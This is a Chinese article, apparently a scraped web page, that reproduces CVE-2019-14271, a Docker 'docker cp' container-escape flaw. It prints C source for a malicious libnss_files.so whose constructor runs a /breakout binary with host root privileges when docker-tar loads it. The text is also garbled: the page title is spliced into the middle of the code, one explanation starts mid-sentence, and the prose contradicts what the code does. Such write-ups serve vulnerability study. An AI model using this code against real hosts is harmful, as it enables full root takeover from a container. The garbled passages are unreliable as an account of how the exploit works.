CVE-2019-14271)Docker copy漏洞
一、漏洞简介
二、漏洞影响
Docker 19.03.1
三、复现过程
Docker cp
Copy命令允许从容器、向容器中、或容器之间复制文件 。语法与标准的unix cp命令非常相似 。要从容器中复制/var/logs,语法是docker cp container_name:/var/logs /some/host/path 。
从下图所示,要从容器中将文件复制出去,Docker使用了一个名为docker-tar的帮助进程 。
文章插图
图 1. 从容器中复制文件
docker-tar是通过chroot到容器,将请求的文件或目录存档,然后将生成的tar文件传递给Docker daemon,然后由daemon提取到主机的目标目录中 。
注释:CHROOT就是Change Root,也就是改变程序执行时所参考的根目录位置 。CHROOT可以增进系统的安全性,限制使用者能做的事 。
文章插图
图 2. docker-tar chroot到容器中
Chroot主要是为了避免系统链接的问题,当主机进程尝试访问容器中的文件时就可能会引发系统链接问题 。如果访问的文件中有系统链接,就会解析到host root 。因此,攻击者控制的容器就可以尝试和诱使docker cp在主机而非容器上读写文件 。去年有许多Docker和Podman相关的系统链接CVE漏洞 。通过chroot到容器的root,docker-tar可以确保所有系统链接都可以高效地解析 。
但,chroot到容器然后从容器中复制文件可能会引发很严重的安全问题 。
CVE-2019-14271
Docker是用Golang语言编写 。有漏洞的Docker版本是用Go v1.11编译的 。在该版本中,一些含有嵌入C代码(cgo)的包会在运行时动态加载共享的库 。这些包包括net和os/user,都是docker-tar使用的,而且在运行时会加载多个libnss_*.so库 。一般来说,库是从host文件系统加载的,但因为docker-tarchroot到了容器,因此会从容器文件系统中加载库 。也就是说docker-tat会加载和执行来源于容器或由容器控制的代码 。
需要说明的是,除了chroot到容器文件系统外,docker-tar并没有被容器化 。它是在host命名空间运行的,权限为root全新且不受限于cgroups或seccomp 。因此,通过注入代码到docker-tar,恶意容器就可以获取host主机的完全root访问权限 。
可能的攻击场景有Docker用户从另一个Docker处复制文件:
容器运行含有恶意libnss_*.so库的镜像
容器中含有被攻击者替换的libnss_*.so库
在这两种情况下,攻击者都可以获取主机上的root代码执行权限 。
漏洞利用
为利用该漏洞,研究人员需要先创建一个恶意libnss库 。研究人员随意选择了libnss_files.so文件,下载了库函数的源码,并在代码中加入了一个函数——run_at_link() 。研究人员还为该函数定义了constructor属性 。constructor属性表明run_at_link函数在进程加载时会作为库的初始化函数执行 。也就是说,当Docker-tar进程动态加载恶意库时,run_at_link函数就会执行 。下面是run_at_link的代码:
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
【docker 复制漏洞,让渗透更加艺术化】argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
查/proc目录完成的 。如果run_at_link运行在docker-tar环境下,那么目录就是空的,因为procfs挂载在/proc上只存在于容器的mount命名空间 。
然后,run_at_link会用恶意libnss库替换原始库 。这保证了漏洞利用运行的随后进程不会意外加载恶意版本,并触发run_at_link执行 。
为简化该漏洞利用,run_at_link会尝试在容器的/breakout路径下运行可执行文件 。这样漏洞利用的其他部分就可以用bash写入,而非C语言 。让逻辑的其他部分在run_at_link外,意味着在漏洞利用每次变化后无需重新编译恶意库,只需改变breakout二进制文件就可以了 。
推荐阅读
- 安卓被曝安全漏洞:允许攻击者通过蓝牙向用户发送恶意软件
- mac下使用docker部署artipub,文章一键同步至多个平台
- MySql主从复制,从原理到实践
- WordPress两个插件存在严重漏洞 或致32万个网站受攻击
- 电脑网站破解,提取web漏洞
- docker基础篇-安装
- docker如何实现跨主机通信
- 大黑客必知必会的xxe攻击漏洞,带你了解黑客的世界
- 2019年容器突然火了,到底什么是容器
- Docker拉取镜像加速